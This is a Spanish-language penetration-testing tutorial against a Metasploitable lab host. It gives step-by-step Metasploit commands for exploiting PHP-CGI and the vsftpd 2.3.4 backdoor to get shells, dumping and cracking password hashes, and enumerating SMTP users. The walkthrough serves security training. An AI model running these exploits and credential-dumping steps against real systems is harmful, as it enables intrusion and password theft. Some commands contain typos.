ciberseguridad
pruebas-penetracion
La identificación y explotación de vulnerabilidades conocidas es una fase crítica en las pruebas de penetración, y se lleva a cabo después de recopilar información sobre el objetivo y de identificar posibles debilidades en los sistemas y servicios. Aquí se describen pasos generales y algunas técnicas comunes utilizadas en esta fase:
Es importante llevar a cabo estas actividades dentro del alcance ético y legal de la prueba, obteniendo siempre el consentimiento del propietario del sistema o red. Además, la comunicación transparente de los hallazgos es crucial para facilitar la mitigación y mejorar la seguridad del entorno evaluado.
Existen muchos tipos de explotación de vulnerabilidades:
Vulnerabilidades de aplicación: Estas vulnerabilidades están relacionadas con los errores de programación en la aplicación. Esto puede permitir que un atacante explote el código vulnerable para comprometer la seguridad de la misma. Estas vulnerabilidades generalmente se encuentran en el lado del cliente, como sitios web, aplicaciones móviles, aplicaciones de escritorio y aplicaciones de servidor.
Vulnerabilidades de red: Estas vulnerabilidades se encuentran en el nivel de red debido a la mala configuración de los firewalls, protocolos y servicios en la infraestructura. Esto puede permitir que un atacante explote la red para obtener acceso no autorizado.
Vulnerabilidades de servidor: Estas vulnerabilidades se encuentran en los servidores y están relacionadas con la mala configuración de los servidores. Esto puede permitir que un atacante explote el servidor para obtener acceso no autorizado.
Vulnerabilidades de software: Estas vulnerabilidades se encuentran en el software instalado en el sistema. Esto puede permitir que un atacante explote las vulnerabilidades del mismo para obtener acceso no autorizado.
Vulnerabilidades de hardware: Estas vulnerabilidades se encuentran en el hardware de la computadora. Esto puede permitir que un atacante explote el hardware para obtener acceso no autorizado.
Es importante entender cómo combatir estos tipos de explotación de vulnerabilidades. Aquí te dejamos algunas recomendaciones:
La mejor manera de protegerse de la explotación de vulnerabilidades es mediante la implementación de buenas prácticas de seguridad y la adopción de soluciones de seguridad eficaces. Por lo tanto, es importante tomar medidas cómo las anteriores para protegerse de un ciberataque.
El uso de exploits y herramientas automatizadas es una parte esencial de las pruebas de penetración, pero debe llevarse a cabo con responsabilidad y ética. Aquí se describen las consideraciones y pasos generales para el uso de exploits y herramientas automatizadas en el contexto de una evaluación de seguridad:
Uso: Pruebas controladas de explotación para validar vulnerabilidades.
Uso: Búsqueda y selección de exploits específicos.
Uso: Pruebas automatizadas de vulnerabilidades.
Uso: Facilita la gestión y ejecución de exploits.
Las pruebas de penetración en servicios como HTTP, FTP, SSH, TELNET son esenciales para evaluar la seguridad de un sistema. A continuación, se describen algunos pasos generales y técnicas comunes utilizadas en este tipo de pruebas utilizaremos Metasploit y Metasploitable:
El puerto 80 es el puerto predeterminado para los servicios http (páginas web). En un análisis anterior determinamos que el puerto 80 está abierto. Ahora es el momento de determinar qué se ejecuta detrás de ese puerto.
Buscamos cual es la IP. En este caso es 192.168.1.49
.
Primero haz un escaneo de Nmap:
1Db_nmap -sV 192.168.1.49 -p 80
Es Apache ejecutándose en Ubuntu. Intentemos recopilar más información con un escáner auxiliar:
1use auxiliary/scanner/http/http_version 2 3show options
1set RHOST 192.168.1.49 2 3run
Probemos otros módulos http para obtener más información sobre nuestro servidor:
dir_listing
determinará si el listado de directorios está habilitado:
1use auxiliary/scanner/http/dir_listing 2 3show options
1set RHOST 192.168.1.49 2 3run
Sin suerte. dir_scanner
buscará directorios interesantes:
1use auxiliary/scanner/http/dir_scanner 2 3show options 4 5set RHOST 192.168.1.49 6 7run
Tenemos 6 directorios. Revisar su contenido podría darnos una ventaja para hackear nuestro objetivo. Probemos con otro módulo, files_dir
:
1use auxiliary/scanner/http/files_dir 2 3show options 4 5set RHOST 192.168.1.49 6 7run
Una vez más, estos resultados podrían marcar la diferencia y deberíamos echarles un vistazo. Otro módulo de interés id options
, robots_txt
y verb_auth_bypass
:
1use auxiliary/scanner/http/verb_auth_bypass 2 3show options 4 5set RHOST 192.168.1.49 6 7run
Y muchos módulos más que te invito a probar.
Hagamos uso de la información que recopilamos.Busquemos en exploitDB Apache con la versión de PHP:
1$ searchsploit apache | grep 5.4.2
Se encontró ejecución remota de código CGI. Explotémoslo:
1use exploit/multi/http/php_cgi_arg_injection* 2 3set RHOST 192.168.1.49 4 5run
¡¡Tenemos un shell meterpreter!! ¡¡¡Happy hacking!!!
El puerto 80 es una buena fuente de información y aprovecha como cualquier otro puerto. Volveremos a este puerto para las aplicaciones web instaladas. En este artículo obtuvimos información sobre los servicios en ejecución y encontramos un exploit que nos proporcionó un shell.
Comprobemos el estado de la base de datos, creemos nuestro espacio de trabajo y configuremos nuestros RHOSTS globales, para no ingresarlos en cada intento:
Comenzaremos con el puerto 21, el puerto predeterminado de ftp.
Dentro del marco de metasploit, ejecutaremos un análisis del servicio nmap dirigido al puerto 21:
1db_nmap -p 21 192.168.231.109 -A -sV -sC
MSF también dispone de un módulo auxiliar para ftp:
1use auxiliary/scanner/ftp/ftp_version 2 3run
Veamos los resultados de nuestro escaneo de puertos:
Disponemos de un Servidor FTP, concretamente vsFTP 2.3.4. correr. Hagamos una búsqueda en exploitDB a través de searchploit:
1$ searchsploit vsftp
Como podemos ver, existe un exploit de ejecución de comandos de puerta trasera para nuestra versión de vsftp. Volvamos a MSF, busquemos el exploit, carguemoslo, veamos su información y ejecútelo:
1grep vsftp search exploits
1use exploit/unix/ftp/vsftp_234_backdoor 2 3show info
run
Y ahora tenemos un shell en la sesión 2. Podemos enviarlo al fondo (^Z), enumerar las sesiones abiertas (sesiones -l) e interactuar (sesiones 2).
Intentaremos extraer usuarios y contraseñas del objetivo utilizando el módulo hashdump. Ponga la sesión en segundo plano y seleccione el módulo:
1use post/linux/gather/hashdump 2 3show options 4 5set SESSION 2 6 7show info 8 9run
Ahora usa el comando loot
para ver los resultados hasta el momento:
loot
Pudimos obtener los archivos passwd, shadow y unshadow.
Abra otra terminal para que John el Destripador los abra:
$ john .msf4/loot/20190402110303_metasploitable2_192.168.231.109_linux.hashes_935091.txt
Para ver los resultados utilice la opción --show:
Escaneamos el puerto 21 y determinamos que una versión vulnerable estaba ejecutando el servicio FTP. Usando MSF pudimos:
Las pruebas de penetración en SMTP (Simple Mail Transfer Protocol) son esenciales para evaluar la seguridad de los servidores de correo electrónico. A continuación, se describen las fases clave de las pruebas de penetración en SMTP:
Nuestra primera tarea es determinar qué software y versión se ejecuta detrás del puerto 25. Usemos nmap:
1db_nmap -p 25 -sC -sV -A 192.168.231.109
1use auxiliary/scanner/smtp/smtp_version
Después de ejecutar el módulo, aquí están los resultados:
Como hicimos en la parte II, busquemos en exploitDB, google, etc.
MSF tiene un módulo de enumeración de usuarios para SMTP.
1use auxiliary/scanner/smtp/smtp_enum 2 3run
El módulo pudo extraer una lista de usuarios. Ahora podemos intentar entrar por la fuerza bruta con estos usuarios.
SMTP significa Protocolo simple de transporte de correo y es un protocolo de servidor a servidor y mantiene una base de datos local de usuarios a los que debe enviar y recibir correos electrónicos.
SMTP tiene un conjunto de comandos (véalos aquí). Nos conectaremos a nuestro objetivo a través del puerto 25 e intentaremos adquirir los correos electrónicos de esta base de datos. Abra una nueva terminal y escriba:*
1$ nc 192.168.231.109 25
Ya estamos dentro. Usemos el comando VRFY
para enumerar los usuarios:
1VRFY user
En lugar de hacer esto a mano, usemos una herramienta de nuestro cinturón de herramientas: smtp-user-enum.
Ejecutando la opción -h
podemos ver el uso. Usaremos una lista de palabras de Kali:
1$ smpt-users-enum -M VRFY -U /usr/share/wordlist/fern-wifi -t 192.168.231.109
Hemos escaneado el puerto 25 (SMTP). Después de obtener más información sobre el servicio, decidimos intentar enumerar los usuarios existentes, lo que hicimos primero con el marco metasploit y luego con la herramienta smtp-users-enum.
Es esencial llevar a cabo estas actividades de manera ética y responsable, garantizando siempre el consentimiento del propietario del sistema y respetando las leyes y regulaciones aplicables.